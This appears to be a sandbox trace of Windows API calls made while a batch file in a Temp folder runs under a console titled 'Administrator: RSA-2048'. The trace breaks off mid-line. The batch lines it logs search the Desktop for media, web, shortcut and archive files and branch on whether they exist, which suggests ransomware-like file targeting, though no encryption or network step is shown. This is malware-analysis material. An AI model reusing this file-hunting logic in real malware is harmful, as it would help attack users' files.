[0038.106] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.107] GetLastError () returned 0x2 [0038.107] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.107] GetLastError () returned 0x6 [0038.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.107] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.107] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.107] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.107] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.108] SetConsoleInputExeNameW () returned 0x1 [0038.108] GetConsoleOutputCP () returned 0x1b5 [0038.108] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.108] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.108] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.108] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.108] GetProcessHeap () returned 0x4e0000 [0038.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.108] GetProcessHeap () returned 0x4e0000 [0038.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.108] GetProcessHeap () returned 0x4e0000 [0038.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.108] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.109] GetProcessHeap () returned 0x4e0000 [0038.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0038.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.109] GetFileType (hFile=0x74) returned 0x1 [0038.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.110] GetProcessHeap () returned 0x4e0000 [0038.110] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.110] GetProcessHeap () returned 0x4e0000 [0038.110] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.110] _tell (_FileHandle=3) returned 351 [0038.110] _close (_FileHandle=3) returned 0 [0038.110] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.110] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0038.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.111] GetFileType (hFile=0x74) returned 0x1 [0038.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.111] GetProcessHeap () returned 0x4e0000 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.111] GetProcessHeap () returned 0x4e0000 [0038.111] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.111] GetProcessHeap () returned 0x4e0000 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.111] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.111] GetProcessHeap () returned 0x4e0000 [0038.111] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.111] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.111] GetProcessHeap () returned 0x4e0000 [0038.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.112] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.112] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.112] GetProcessHeap () returned 0x4e0000 [0038.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.112] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.112] GetProcessHeap () returned 0x4e0000 [0038.112] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.112] GetProcessHeap () returned 0x4e0000 [0038.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.113] _tell (_FileHandle=3) returned 376 [0038.113] _close (_FileHandle=3) returned 0 [0038.113] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0038.113] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.113] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0038.113] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0038.113] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.114] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.114] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0038.114] GetProcessHeap () returned 0x4e0000 [0038.114] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0038.114] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.114] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.114] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.114] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.114] GetFileType (hFile=0x74) returned 0x1 [0038.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0038.115] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.115] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg") returned 2 [0038.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.115] GetFileType (hFile=0x74) returned 0x1 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0038.115] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.115] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\ns\r\n") returned 25 [0038.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.115] GetFileType (hFile=0x74) returned 0x1 [0038.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0038.115] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.116] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0038.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.116] GetFileType (hFile=0x74) returned 0x1 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0038.116] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.116] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0038.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.116] GetFileType (hFile=0x74) returned 0x1 [0038.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0038.116] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.117] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0038.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.117] GetFileType (hFile=0x74) returned 0x1 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0038.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.117] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n\n") returned 27 [0038.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.117] GetFileType (hFile=0x74) returned 0x1 [0038.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0038.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.html goto html\r\n") returned 2 [0038.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.118] GetFileType (hFile=0x74) returned 0x1 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0038.118] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0038.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.118] GetFileType (hFile=0x74) returned 0x1 [0038.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0038.118] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0038.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.119] GetFileType (hFile=0x74) returned 0x1 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0038.119] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto Ran\r\nq\r\n") returned 29 [0038.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.119] GetFileType (hFile=0x74) returned 0x1 [0038.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0038.120] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto Ran\r\n") returned 29 [0038.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.120] GetFileType (hFile=0x74) returned 0x1 [0038.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0038.120] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto Ran\r\n") returned 29 [0038.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.121] GetFileType (hFile=0x74) returned 0x1 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0038.121] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.zip goto Ran\r\n") returned 2 [0038.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 